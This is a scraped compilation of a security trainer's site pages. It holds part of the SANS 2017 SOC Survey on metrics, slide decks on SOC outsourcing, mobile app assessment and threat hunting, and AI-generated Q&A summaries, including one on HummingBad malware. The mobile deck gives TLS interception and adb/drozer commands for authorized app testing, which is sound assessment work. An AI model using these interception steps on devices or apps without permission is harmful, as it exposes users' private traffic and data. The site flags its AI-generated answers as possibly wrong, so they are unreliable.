SANS ANALYST PROGRAM 21Assessing the SOC? Ed Koch, former mayor of New York, was well known for a persistent and affable request for performance metrics. At press conferences, he often asked, “How ’m I doing?” Yet, according to the survey, only 57% of respondents know they have SOC metrics. The rest either answered “no” or “unknown” as to whether metrics are available. That means 43% of the SOCs don’t know “how they’re doing, ” and they’re not actually asking the necessary questions to find out. See Figure 15. As survey results show, compiling metrics involves a substantial amount of manual work, with 69% of respondents saying the process is either a substantial or completely manual effort. See Figure 16. Future SOC: SANS 2017 Security Operations Center SurveyDoes your SOC provide metrics that can be used in your reports and dashboards to gauge the ongoing status of and effectiveness of your SOC’s capabilities? Figure 15. Use of Metrics Yes No UnknownTAKEAWAY: Not attempting to measure your SOC’s operational performance is a lot like trying to land an airplane without the benefit of an altimeter: An accurate measure of an important attribute of the distance between the plane and the earth helps to assure the plane will land safely. Manual vs. Automated Metrics Condensed Results Figure 16. Manual Versus Automated Effort to Produce Metrics Substantial manual effort Substantially or completely manualPrimarily or fully automated 0% 20% 10% 30% 40% 50% Metrics and Performance (CONTINUED) SANS ANALYST PROGRAM 22If you compare this with Jaquith’s assertion of what a metric should be, we see that the manual components are not in alignment with the ideal state: “consistently measured, without subjective criteria; cheap to gather, preferably in an automated way…. ”7 The key is to equip the systems for data collection and compile the data on an ongoing basis to see what the SOC is doing and how well it is doing it. Figure 17 shows how the 57% of respondents who are collecting metrics are tracking and reporting on them. Future SOC: SANS 2017 Security Operations Center SurveyHow are metrics tracked and reported? Partially automated data extraction, with substantial manual effort required, and partially automated calculation Completely manual process requiring extraction of data from multiple sources and mostly manual calculation OtherPrimarily automated, with minimal manual effort to complete reporting Fully automated via an integrated dashboard, with complete, ongoing visibility into SOC performance metrics Figure 17. How SOCs Track and Report Metrics0% 20% 10% 30% 40% 50% Security Expert on Metrics “A good metric should be: consistently measured, without subjective criteria; cheap to gather, preferably in an automated way; expressed as a cardinal number or percentage, not with qualitative labels like “high, ” “medium” and “low”; expressed using at least one unit of measure, such as “defects, ” “hours” or “dollars. ” Ideally it should also be “contextually specific, relevant enough to decision-makers so that they can take action. ” It’s a simple analogy. Anyone can relate. But we frequently lack such simple metrics for SOCs. 8 7 Jaquith, Andrew. Security Metrics: Replacing Fear, Uncertainty, and Doubt. Upper Saddle River, NJ: Addison-Wesley, 2010. p. 22. 8 Jaquith, Andrew. Security Metrics: Replacing Fear, Uncertainty, and Doubt. Upper Saddle River, NJ: Addison-Wesley, 2010. p. 22 Metrics and Performance (CONTINUED) SANS ANALYST PROGRAM 23Metrics Tracked Primarily, those organizations that do track metrics are looking at how many times they respond to an incident, followed by whether or not those occurrences were based on a known threat and time to contain. See Figure 18 for a full list of metrics respondents are tracking. Interestingly, there’s a sense of “enforcement” and “meeting an objective” with the number of incidents handled. Attackers determine how many times they will attack— it’s not in the security options purview of control. While an important measure of the activity of the SOC, a simple number of incidents isn’t “contextually specific, relevant enough to decision-makers so that they can take action. ” Perhaps the count is used as a moving average display? If so, that’s much more useful. That’s the sort of display of collected data that provides contextual relevance: It would identify change in volume of incidents. Future SOC: SANS 2017 Security Operations Center SurveyMetrics Collected Number of incidents handled OtherTime from detection to containment to eradication Incident avoidance (could the incident have been avoided with common security practices in place?) Thoroughness and accuracy of enterprise sweeping (check all information systems for IOCs) Thoroughness of eradication (no reoccurrence of original or similar compromise) Monetary cost per incident Losses accrued vs losses preventedIncident occurrence due to known vulnerability vs. unknown Time to discover all impacted assets and users Downtime for workers or duration of business outage per incident Threat actor attribution Figure 18. Metrics Collected0% 40% 20% 60% 80% 100% Used Enforced Consistently Met All Three Most Important Metrics The most important metrics to the SOC are time-based measures: time to detection, time to containment from detection and time to eradication from detection. Of course there are many others that are important, but these three get to the crux of SOC functionality. The data source can be a ticketing system or any action-tracking software. The label is “hours. ” It meets Jaquith’s guidance for consistently measured, as all tickets opened would be tracked. Metrics and Performance (CONTINUED) SANS ANALYST PROGRAM 24Satisfaction with Performance Those collecting metrics are most satisfied with their own flexibility of response. See Figure 19. Addressing unknown problems means discovering them. This entails unveiling what appears to be normal as actually problematic. Taking this step includes looking for malicious activity via log review, etc. Second, this entails analysis using externally provided information, as well as developing internal threat information via threat hunting. Respondents are most satisfied with their SOC’s flexibility response. While it is common advice to be flexible, and this is very important, routines and automation are methods for efficiency and speed, which are represented by the second-most satisfied response, “Overall response time. ” Speed of discovery and satisfaction with discovering likely incidents in advance is an advisable strategic and tactical objective. This likely takes the form of more organizational awareness, which leads to better SIEM use cases, which is further informed by threat intelligence. Future SOC: SANS 2017 Security Operations Center SurveyPercent Satisfied Versus Percent Answered Other Configurability of toolsSOC-NOC coordination and effectiveness Effectiveness and thoroughness of containmentClarity of reports Flexibility of responseFalse positive rates Time to detect Remediation time Thoroughness of remediationAbility to detect previously unknown attacks Accuracy of detectionTime to deflect or disrupt attacks and abuse Overall response timeWorkflow Time to contain attacks Figure 19. Satisfaction with Metrics0% 40% 20% 60% 80% 100% Percent Satisfied Percent Reported as Measured If the “Satisfied” rankings were a report card, our parents would be disappointed. Conclusion SANS ANALYST PROGRAM 25The SOC is a new and developing space architected in many ways across organizations with some consensus on what should be done: log, monitor, correlate and respond. The notion of an incident seems to be clear in the SOC, yet performance assessment capability and alignment to business appears lacking and is an important area for improvement. The survey highlights that a lot of SOC data collection and analysis is done via manual methods, meaning the need to sift through and correlate hundreds of events every day. Automation of data collection and analysis can empower SOC teams to deal with the overwhelming number of alerts with confidence. Results also show that many organizations are moving some portion of their SOC to managed service providers. This model seeks efficiency by transferring tasks to a third party, but it risks diminishing the tailored actions and localized knowledge associated with the needs of the business. The use of clearly articulated metrics to express performance offers an opportunity to improve SOCs. Development of useful metrics requires reuse of available data and selection of performance criteria that are valuable to the specific business needs and measure the effectiveness of the SOCs detection and remediation activities. Metrics are challenging, however, because there’s not always a consensus on what makes good metrics within the SOC. Another opportunity for enhancement is more effective collaboration between NOCs and SOCs. Organizations have been performing IT operations for a long time, while SOCs typically are newer phenomena. The SOC and NOC can share data access to help IT operations make effective architecture decisions and to help the SOC make effective containment and monitoring decisions. Hunting and correlation are other areas organizations should improve on over the next 24 months. The alchemical formula for completely effective SOCs won’t be cracked in the immediate future. But over the course of the next year, we will likely see a better community consensus of what a SOC is. Future SOC: SANS 2017 Security Operations Center Survey Christopher Crowley, a principal SANS instructor and course author for SANS courses in Managing Security Operations and Incident Response Team Management, holds multiple certifications. He received the SANS 2009 Local Mentor of the Year award for excellence in providing mentor classes to his local community. Chris is a consultant based in Washington, D.C., who has more than 15 years of experience in managing and securing networks. His areas of expertise include network and mobile penetration testing, mobile device deployments, security operations, incident response and forensic analysis. SANS ANALYST PROGRAM26About the Author Sponsors SANS would like to thank this survey’s sponsors: Future SOC: SANS 2017 Security Operations Center Survey Last Updated: September 12th, 2017 Upcoming SANS Training Click Here for a full list of all Upcoming SANS Events by Location SANS London September 2017 London, GB Sep 25, 2017 - Sep 30, 2017 Live Event SANS Copenhagen 2017 Copenhagen, DK Sep 25, 2017 - Sep 30, 2017 Live Event Data Breach Summit & Training Chicago, ILUS Sep 25, 2017 - Oct 02, 2017 Live Event Rocky Mountain Fall 2017 Denver, COUS Sep 25, 2017 - Sep 30, 2017 Live Event SANS SEC504 at Cyber Security Week 2017 The Hague, NL Sep 25, 2017 - Sep 30, 2017 Live Event SANS DFIR Prague 2017 Prague, CZ Oct 02, 2017 - Oct 08, 2017 Live Event SANS Oslo Autumn 2017 Oslo, NO Oct 02, 2017 - Oct 07, 2017 Live Event SANS October Singapore 2017 Singapore, SG Oct 09, 2017 - Oct 28, 2017 Live Event SANS Phoenix-Mesa 2017 Mesa, AZUS Oct 09, 2017 - Oct 14, 2017 Live Event Secure DevOps Summit & Training Denver, COUS Oct 10, 2017 - Oct 17, 2017 Live Event SANS Tysons Corner Fall 2017 McLean, V AUS Oct 14, 2017 - Oct 21, 2017 Live Event SANS Brussels Autumn 2017 Brussels, BE Oct 16, 2017 - Oct 21, 2017 Live Event SANS Tokyo Autumn 2017 Tokyo, JP Oct 16, 2017 - Oct 28, 2017 Live Event SANS Berlin 2017 Berlin, DE Oct 23, 2017 - Oct 28, 2017 Live Event SANS Seattle 2017 Seattle, WAUS Oct 30, 2017 - Nov 04, 2017 Live Event SANS San Diego 2017 San Diego, CAUS Oct 30, 2017 - Nov 04, 2017 Live Event SANS Gulf Region 2017 Dubai, AE Nov 04, 2017 - Nov 16, 2017 Live Event SANS Miami 2017 Miami, FLUS Nov 06, 2017 - Nov 11, 2017 Live Event SANS Amsterdam 2017 Amsterdam, NL Nov 06, 2017 - Nov 11, 2017 Live Event SANS Milan November 2017 Milan, IT Nov 06, 2017 - Nov 11, 2017 Live Event SANS Sydney 2017 Sydney, AU Nov 13, 2017 - Nov 25, 2017 Live Event Pen Test Hackfest Summit & Training 2017 Bethesda, MDUS Nov 13, 2017 - Nov 20, 2017 Live Event SANS Paris November 2017 Paris, FR Nov 13, 2017 - Nov 18, 2017 Live Event SANS London November 2017 London, GB Nov 27, 2017 - Dec 02, 2017 Live Event SANS San Francisco Winter 2017 San Francisco, CAUS Nov 27, 2017 - Dec 02, 2017 Live Event SIEM & Tactical Analytics Summit & Training Scottsdale, AZUS Nov 28, 2017 - Dec 05, 2017 Live Event SANS Khobar 2017 Khobar, SA Dec 02, 2017 - Dec 07, 2017 Live Event SANS Austin Winter 2017 Austin, TXUS Dec 04, 2017 - Dec 09, 2017 Live Event SANS Munich December 2017 Munich, DE Dec 04, 2017 - Dec 09, 2017 Live Event European Security Awareness Summit 2017 London, GB Dec 04, 2017 - Dec 07, 2017 Live Event SANS Frankfurt 2017 Frankfurt, DE Dec 11, 2017 - Dec 16, 2017 Live Event SANS Bangalore 2017 Bangalore, IN Dec 11, 2017 - Dec 16, 2017 Live Event SANS Baltimore Fall 2017 OnlineMDUS Sep 25, 2017 - Sep 30, 2017 Live Event SANS OnDemand Books & MP3s OnlyUS Anytime Self Paced --- ## Source: https://montance.com/questions.php?id=108 [![pdf](content/images/icons/pdf.svg) SOC Summit Survey Deep Dive.pdf](https://drive.google.com/file/d/1idXgZPy4XRX29tgTEzsUuOeW34ESZ2b1/view?usp=drive_link) SOC Summit Survey Deep Dive In-depth analysis of SOC survey data and analyst pain points. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What was the primary focus of the 2017 SOC Summit Survey Deep Dive? A: Analyzing the results of the SANS SOC survey with a focus on 'boots on the ground' reality. * Q: What was the most common 'Pain Point' reported by analysts? A: Lack of visibility and excessive noise (false positives). * Q: What percentage of SOCs reported having 'Full Visibility'? A: Less than 20%. * Q: What technology was rated highest for 'Value'? A: SIEM and Endpoint Detection and Response (EDR). * Q: What is the 'so what' factor in metrics? A: The need for metrics to tell a story and drive decision-making, not just show numbers. * Q: What was the trend regarding 'Outsourcing'? A: A shift towards hybrid models where Tier 1 is outsourced but Tier 2/3 remains in-house. * Q: What is the 'Analyst to Device' ratio discussed? A: A metric attempting to define optimal staffing levels based on infrastructure size. * Q: What is the 'Skill Shortage' impact? A: Increasing reliance on automation and managed services. * Q: What is the recommendation for 'Use Case' management? A: Regularly reviewing and retiring ineffective use cases. * Q: What is the 'Threat Hunting' maturity level? A: Most organizations were still in the early stages (ad-hoc) of threat hunting. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1idXgZPy4XRX29tgTEzsUuOeW34ESZ2b1/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1idXgZPy4XRX29tgTEzsUuOeW34ESZ2b1/view?usp=drive_link]** SANS 2017 SOC Survey “A Mile of Numbers and a Ton of Stats” Christopher Crowley twitter: @ CCrowMontance All Rights Reserved All Wrongs Reversed Two Webcasts There are two webcasts covering additional aspects of the survey Links to those, and the slides for this presentation are at https://bit.ly/crow -soc Survey was sponsored by: Carbon Black, Endgame, LogRhythm , NETSCOUT, ThreatConnect , and Tripwire SOC - Functional Areas Steering Committee Control Center Network Security Monitoring Threat Intelligence Incident Response Forensics Self Assessment SOC - Process Elements Inputs People Technology Process Artifacts Caveat Auditor – Survey, not Statistics Population size of SOCs globally is not known Sample size determination not performed Data set example: 38 Respondents from Banking and Finance 11 Respondents from Retail Nonetheless, 298 respondents shared their info, so we’ll dig into what we have Caveat Auditor The respondents self -identified as being in a particular sector I’m going to discuss this, but it is not intended to be a statistically significant representation of that sector as a whole, just the people who responded to this survey I’d love to get to the point that we reach data saturation. Saturation can be simply defined as data satisfaction. It is when the researcher reaches a point where no new information is obtained from further data. Demographics Most of the respondents were from US based companies 54% listed headquarters in US 21% European headquarters Worldwide operations cited Cyber & banking were top industries Typical SANS survey respondents are from government & finance 0.0% 5.0% 10.0% 15.0%Cyber securityBanking and financeTechnologyGovernmentOtherManufacturingInsuranceTelecommunication…HealthcareEducationUtilitiesRetailMediaTransportationHospitalityWhat is your organization's primary industry? Primarily Centralized Architecture 0 50 100 150 200Centralized into a single SOC centerFunctions in different departmentsCentralized and distributed regionallySingle cloud provider - some functionsPartial SOCs in regional locationsFull SOCs distributed regionallySome functions multiple cloud providersSingle cloud provider - all functionsMultiple cloud providers - all functionsOther Outsourced Components •44% —Threat research •38% —Digital forensics •35% —Security monitoring and detection •33% —eDiscovery and legal evidence collection 0 50 100 150OtherSecurity roadmap and…Security architecture and…Security administrationCompliance supportRemediationIncident responseeDiscovery and legal…Security monitoring and…Digital ForensicsThreat research Out Both Further Comparison With available survey data, I drilled into some sector -specific (Q2) aspects of the survey results relating to Q10: What activities are you handling in -house? What activities have you outsourced, either totally or in part, to outside services through a managed security service provider (MSSP) or in the cloud? Check only those that apply to your organization Threat Research Outsourcing by Sector n=249 If outsourced, two types: Likely both Cyber, banking, tech Outsource only Gov, Insurance, Utilities Thoughts on Threat Intelligence I think it can be useful. But first: Does org have routine IR handling in the SOC? The counterpoint is: what does the org do differently if “ Country Cyberforce X” is attacking me versus “ Financial Actor B ” versus “Amorphous Social Faction 7 ”? Can the org differentiate the threat actor early enough to make a difference? Digital Forensics Outsourcing by Respondent Sector n=248 Overall percentage outsourced is 38% (see slide 7) Raw count is interesting, but next slide has more about the likelihood of an industry to outsource Digital Forensics Outsourcing (sorted by low ratio) by Respondent Sector n=248 Retail (10%), Government (15%) & Cyber Security (24%), Education (33%) unlikely to outsource partially or wholly Outsourced (all or partial) / count responses Thoughts on Digital Forensics First, on nomenclature, I differentiate Forensics from analysis performed during Incident Response: The Forensic task is a deep dive assessment of materials to answer specific questions. IR forensics analysis is initial, triage based, and partial analysis due to limited time and scope . Forensics is focused, exhaustive (within the scope of the question) and produces authoritative analysis . You’re welcome to disagree with my usage, but that’s how I’m using these words currently Thoughts on Digital Forensics Interesting that Retail shows less likelihood to outsource forensics than Cyber companies (experts) and Government (more on Retail on next slides) Education – I suspect this is simply a cost issue Insurance, Utilities, Technology, Media, Manufacturing – I am surprised how many keep it insourced Digression on Retail Retail shows less likelihood to outsource forensics than Cyber companies (experts) and Government Most likely a low sample size issue with not having a representative population What those respondents outsource? Turns out, not much (next slide) Most commonly outsourced is “Security Monitoring and Detection” Retail Respondents – little outsourcing 0 2 4 6 8 10 12Digital ForensicseDiscovery and legal evidence collectionSecurity roadmap and planningSecurity administrationSecurity architecture and engineeringCompliance supportIncident responseRemediationThreat researchSecurity monitoring and detection In Out Both Sort: sum( out+both ), out, both, in Security Monitoring and Detection n=264 Government, Tech, Cyber, Education, Telecom, Retail not likely to outsource security monitoring I considered doing (out+both ) / (in+both ) – might be a better comparison Thoughts on Security Monitoring and Detection Anecdotally, people tell me their companies outsource Tier 1 Network Security Monitoring (NSM) Usually with tepid satisfaction, still done because of 24x7 requirements and staffing issues Personally, I think it is a great opportunity for efficiency if the org can define clear escalation use cases (from Service Provider) and have the same data in -house for tier 2+ analysis Usually achievable only in mature SOCs eDiscovery and Evidence Collection n=236 Telecoms and Transportation likely to outsource in some way Retail, Edu, Cyber, Government unlikely to outsource Thoughts on eDiscovery If you already have a legal team to do this, don’t fight to bring it into the SOC If you don’t, this is something you should prepare to do for the organization Skillset and application is slightly different, technology (particularly if you have host agents already installed) is largely the same I’ve used agent based forensic tools to conduct eDiscovery at scale Additions and Improvements Please take time to share (tweet maybe) your thoughts about questions you’d like to include for next year I’m also interested in hearing about your SOC architecture, if you are permitted to share Summary SOC survey with ~300 respondents Looking forward to future insight Interested in anecdotes and case studies regarding your SOC Twitter: @CCrowMontance Links & preso : https://bit.ly/crow -soc --- ## Source: https://montance.com/questions.php?id=107 [![pdf](content/images/icons/pdf.svg) Top8StepsForMobile AppAssessmentFocus Orlando.pdf](https://drive.google.com/file/d/1iTZQxEZshdBhxPPIh0miHBSOrDE14dDp/view?usp=drive_link) Top8stepsformobile Appassessmentfocus Orlando Presentation on 8 steps for assessing mobile application security. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is Step 1 of the Top 8 Steps for Mobile Security? A: Enforce Device Passcode Authentication. * Q: What is Step 2? A: Monitoring Mobile Device Access and Use. * Q: What is Step 3? A: Patching Mobile Devices. * Q: What is Step 4? A: Prohibit Unapproved Third-Party Application Stores. * Q: What is Step 5? A: Control Physical Access. * Q: What is Step 6? A: Evaluate Application Security Compliance (App Assessment). * Q: What is Step 7? A: Prepare an Incident Response Plan for Lost or Stolen Mobile Devices. * Q: What is Step 8? A: Implement Management and Operational Support. * Q: What is the focus of 'App Assessment' in this document? A: Verifying that apps do not leak data or introduce vulnerabilities. * Q: What is the 'Containerization' strategy? A: Isolating corporate data/apps from personal data on the device. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1iTZQxEZshdBhxPPIh0miHBSOrDE14dDp/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1iTZQxEZshdBhxPPIh0miHBSOrDE14dDp/view?usp=drive_link]** Top 8 Steps for Mobile - Application Assessment Christopher Crowley @CCrowMontance All Rights Reserved All Wrongs Reversed Top 8 Steps Top 8 Mobile Device Security Steps 1.Enforce Device Passcode Authentication 2.Monitoring Mobile Device Access and Use 3.Patching Mobile Devices 4.Prohibit Unapproved Third -Party Application Stores 5.Control Physical Access 6.Evaluate Application Security Compliance 7.Prepare an Incident Response Plan for Lost or Stolen Mobile Devices 8.Implement Management and Operational Support Each of These 8 Steps Are Important Each step needs to be: Considered Planned Executed Maintained We’ll focus on Application Assessment today But there are plenty of other items for your mobile deployment Application Assessment Application Assessment Considerations Consideration for Application Assessment Consider what your objectives are: Maintain access to organization data Detect / Prevent loss of data Detect / Prevent unauthorized modification to data Leverage employee assets for work purposes? Protect organizationally owned assets? Assist employees to protect personal devices? Application Assessment Planning Planning – What is (Un)Acceptable Two methods for app assessments Thorough inspection of all app capabilities Predetermined “red flags” which would prohibit use of application Example: accesses contacts and copies them off device Example: tracks location and sends off device Example: access to photos / photo stream Example: User login credentials sent in plain text (or logged) Application Assessment Execution Execution of Application Assessment Technically involved Even Apple and Google miss code included in applications XCode Ghost is an example Malicious library (with C2) included at compile time due to malicious XCode image from: https://www.fireeye.com/blog/threat -research/2015/11/xcodeghost_s_a_new.html Methodology Helps Overcome Limitations Having a repeatable methodology is helpful to minimize the effort, as well as help the assessor to be sure that important facets aren’t overlooked It also helps to train the assessor SANS SEC575 - Application Report Cards https://github.com/joswr1ght/MobileAppReportCard.git Application Report Cards Report Cards address: Permissions Executable deficiencies Local data storage and protection: Confidentiality Integrity Protection of network communication Inter -process communication Assessment Legal Preface Consult your legal counsel However, the notion is that assessing an application (which was legally obtained) for suitability of interoperation within your network is legal Do so for networks only where you have written permission to perform this type of analysis Permission to Assess Methodology – Network Easiest to perform without specialized tools Put the mobile device on a network, and monitor the communication through a laptop Challenge – TLS protected communication Challenge – interpreting hidden or obfuscated data Challenge – application has a trigger condition which isn’t met in your testing, obscuring some undesirable but present behavior Methodology – Network Transparent firewall rules can direct traffic into a proxy Or device can be configured to use a proxy Methodology – Network Proxy is transparently viewing (and can modify) the content Methodology – Network How to deal with TLS? Easiest way is to include proxy’s certificate Burp serves up a .der format file, so convert it openssl x509 –inform der –outform pem –in cacert.der –out cacert.pem python –m SimpleHTTPServer 9090 Browse to system, collect cert ( http://172.16.42.42:9090/ ) Install Cert: Settings – Security – “Install from Storage” Select “ cacert.pem ” Methodology – Network Get “man in the middle” Here the cert issuer for www.google.com is my Burp Suite CA – “PortSwigger CA” Apps vary on how they deal with this depending on how they’re programmed Methodology – Network Additionally, full packet capture (PCAP) via tcpdump , dumpcap , wireshark , etc. during assessment Methodology – Network You have the benefit of control of the application while you’re doing this work Don’t rush, provide ample time between actions to help to isolate what you’re reviewing Record the time of every action you take, use this to correlate to network activity Search traffic for all (unique) data that you input, also potentially hashes, we’ll talk about code review next Methodology – Network Wireshark conversations view Methodology – Code Assessment By reviewing the code, there is an opportunity to see more than the behavior of the app during your observation You can see all of the things the application is programmed to do This is more complex than evaluation of network Requires tools to assist with the code assessment Acquire Application to Assess Android – a couple of options Install app, use ES FileExplorer to backup apk Tool like RealAPK Leecher to pull from Play store iOS Must have a jailbroken phone to extract application, but network/behavioral assessment can be done without jailbroken phone Jailbroken phone: collect executable from within the install directory Decrypt with gdb or dump_decrypted Acquire Application to Assess Using ES File Explorer, go to “App” Section Long press the app of interest. Once selected, choose “backup” Get the file from the device (I used adb with a USB connection) adb pull /sdcard/backups/GuitarTuna_4.0.2.apk We now have the application to assess APK files are just zip files Unzip and View Manifest Since the Android app is just a zip file, we can unzip it. Make a copy in a sub directory (just in case something goes wrong) Unzip file using 7 -zip, or any zip utility Start with AndroidManifest.xml to see permissions declared java –jar AXMLPrinter2.jar AndroidManifest.txt | more AndroidManifest also declares Activities (windows / interfaces) and intents Unzip and View Manifest We see the permissions declared, and have an idea of what the app can do The Manifest is long, and declares several things In this app, we see a lot of Facebook integration (not pictured) Look at Decompiled Code With some understanding of the behavior and the permissions, we might want to see in detail what the program does There are multiple decompilation tools (dex2jar, Procyon) Jad-X is an easy and free one – providing decompiled Java that is readable directly from the . apk In this app, I reviewed the facebook integration, as well as the billing information Methodology – Inter -process Communication Android – use of “intents” Android components: Activities Services Content Providers Broadcast ReceiveriOS – chroot (sandbox) with minor exceptions for data sharing between apps Document provider (shares with other apps) Document picker (can import) Action extension Custom keyboard Also, URL handlers such as “twitter://” Methodology – Inter -process Communication Assessing the IPC is involved in both platforms Drozer is very helpful for this on Android iOS no automated tool yet to help with exploration of IPC Concern of action extension for exposure of app to active content returned into application context Challenge is time, and exploring potential content provided IPC - Drozer Install Drozer application on Android In this case, I’m using adb based connection: adb forward tcp:31415 tcp:31415 drozer console connect See the attack surface: run app.package.attacksurface com.ovelin.guitartuna See the Activities: run app.activity.info com.ovelin.guitartuna IPC - Drozer See the attack surface: run app.package.attacksurface com.ovelin.guitartuna See the Activities: run app.activity.info com.ovelin.guitartuna IPC - Drozer See the Activities (a user interface screen): run app.activity.info com.ovelin.guitartuna IPC – “Extras” Can now go look in the code (probably easiest with dex2 -jar) to see if any of the Activities that accept “extras” – with the inter process communication If so, there is an opportunity for an external application to communicate with this app, there’s an opportunity for abuse Methodology – Filesystem Content If you have rooted or jailbroken phone, pull full filesystem contents tar, dd, etc. If you don’t, you can make a backup of the phone (or specific app) Android Example: adb backup -f myfile.ab com.company.package Note: in my experience, adb backup crashes without filename for single packages Methodology – Filesystem Content If you get an encrypted backup, you’ll need to decrypt the content backupdecrypt.pl Only through version 1 android -backup -extractor abe.jar Need to add Java crypto library support (see abe.jar README) Methodology – Filesystem Content java -jar abe.jar unpack myfile.ab decrypted.ab tar -xvf decrypted.ab Enjoy the volume of data to inspect! Sqlite databases frequently encountered Android – items to inspect As you’re seeing, there’s a lot of work involved in assessing the app The report cards provide a checklist of items to review Methodology – Tools Tools to be able to do this work; still extensive manual work https://bit.ly/crow -gmob has a tool list https://github.com/tanprathan/MobileApp -Pentest - Cheatsheet Methodology – Distributions There are some pre -built distributions which give you an environment to work from MobiSec (SecureIdeas ) Androlab (androl4b) Santoku Linux (from NowSecure ) Kali Linux Give you the benefit of the tools already set up Probably doesn’t have everything you need, but a good start Maintenance For app assessment, maintain the program through updates to approved applications Improve analytical capability Keep up to date on attacker trends Enhance organizational security posture Develop exercises Summary Brief walk through of the idea of application assessment Develop a program Develop methodology Test on an ongoing basis Twitter: @ CCrowMontance This and other presentations: https://bit.ly/crow -cell-eaves --- ## Source: https://montance.com/questions.php?id=139 [![pdf](content/images/icons/pdf.svg) Threat Hunting](https://drive.google.com/file/d/1iXQSVT9b5HeFYX32VrhjuxMwOzl0YpzL/view?usp=drive_link) Threat Hunting Presentation by Christopher Crowley (2017-04) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Threat Hunting ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1iXQSVT9b5HeFYX32VrhjuxMwOzl0YpzL/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1iXQSVT9b5HeFYX32VrhjuxMwOzl0YpzL/view?usp=drive_link]** Organized Threat Hunting Christopher Crowley @CCrowMontance All Rights Reserved All Wrongs Reversed Can’t You See I’m Hunting Here? Last year, Bamm Visscher said he expected to see more camouflage. I expect more blaze orange. So, I’m just riding along (JRA) in the Frederick Watershed… Can’t You See I’m Hunting Here? Lessons Learned The unknowing ruins hunting for hunters Mixed -use areas where hunting is occurring results in conflict and danger Adversary may already be in position to hunt Yelling at the person with the gun isn't smart Just because you're avant garde , doesn't mean you're going to survive or prosper It could be that the purpose of your life is only to serve as a warning to others. (tm Despair, Inc) MGT517 is my expression of how to align all functions of security operations Presentations today will dig into technical hunting details Common refrain, “Operational output is a requirement" I'm here to explain a system that will make this happen SOC - Functional Areas Steering Committee Control Center Network Security Monitoring Threat Intelligence Incident Response Forensics Self Assessment SOC - Functional Areas SC, CC, NSM, TI, IR, FOR, SA Where does "hunting" belong? Everywhere SOC - Process Elements Inputs People Technology Process Artifacts People – Train in Hunting Threat hunting task: know and apply the way, weather, terrain, leadership, and discipline Require threat hunting from staff Assigned task, allocate time (2 hrs/week) Artifacts : detections, methods of hunting, scripts, rules for detection systems, use cases s2ST: 9 The Program Network Security Monitoring Network IDS Host IDSWireless IDS Malware DetonationHoneypots Network Logs Host Logs Application LogsSIEM of some kindFull PCAP Raw data for correlation and confirmation Data for correlationHigh value indicators Provide alertsLong -term analysis Data mining Study of interactionHistorical assessment with new IOCs Process - Hunting Process – historical assessment with new IOCs IOCs, TTPs: pick your flavor, pick your weapon Assess at the half-life of data You have 30 days full PCAP? Run historical assessment every two weeks Summary Hunting isn’t new Organized program for hunting is the most effective Security Operations requires complex data interchange Carefully mix hunting into your operations Twitter: @CCrowMontance This presentation: https://bit.ly/crow -th --- ## Source: https://montance.com/questions.php?id=106 [![pdf](content/images/icons/pdf.svg) HummingBad Malware\_CC\_1000.pdf](HummingBad-Malware_CC_1000.pptx) Hummingbad Malware Cc 1000 Analysis of the HummingBad Android malware campaign. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What type of malware is 'HummingBad'? A: An Android rootkit and adware. * Q: Who is attributed as the creator of HummingBad? A: Yingmob, a Chinese advertising analytics agency. * Q: What is the primary infection vector? A: Drive-by downloads from malicious websites. * Q: How does HummingBad achieve persistence? A: By attempting to root the Android device. * Q: What is the estimated number of infected devices mentioned? A: Over 10 million devices globally. * Q: What is the revenue model for HummingBad? A: Generating fraudulent ad revenue and installing fraudulent apps. * Q: What is 'silent installation'? A: Installing apps in the background without user consent or interaction. * Q: What specific component allows it to root devices? A: It carries a library of known exploits (e.g., Framaroot) to try against the device. * Q: How does it handle 'Command and Control' (C2)? A: It communicates with C2 servers to receive tasks and upload device data. * Q: What is the significance of the 'right\_core' component? A: It is the main malicious payload that decrypts and executes other modules. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/HummingBad-Malware_CC_1000.pptx **[Error extracting https://montance.com/HummingBad-Malware_CC_1000.pptx: Server returned HTML instead of a file.]** --- ## Source: https://montance.com/questions.php?id=105 [![pdf](content/images/icons/pdf.svg) MGT517 Course Flyer.pdf](MGT517 Course Flyer_Managing Security Operations.pdf) MGT517 Course Flyer Presentation covering Training titled 'MGT517 Course Flyer'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/MGT517 Course Flyer_Managing Security Operations.pdf **[Error extracting https://montance.com/MGT517 Course Flyer_Managing Security Operations.pdf: Server returned HTML instead of a file.]** --- ## Source: https://montance.com/questions.php?id=104 [![pdf](content/images/icons/pdf.svg) Tokyo SOC Presentation.pdf](https://drive.google.com/file/d/1jbakjU4h6WIntTVlxoj1P_InkKSB8kJG/view?usp=drive_link) Tokyo SOC Presentation Presentation covering Culture titled 'Tokyo SOC Presentation'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the context of the Tokyo SOC Presentation? A: A presentation given at a SANS event in Tokyo regarding SOC best practices. * Q: What is the 'Japanese Cultural Context' 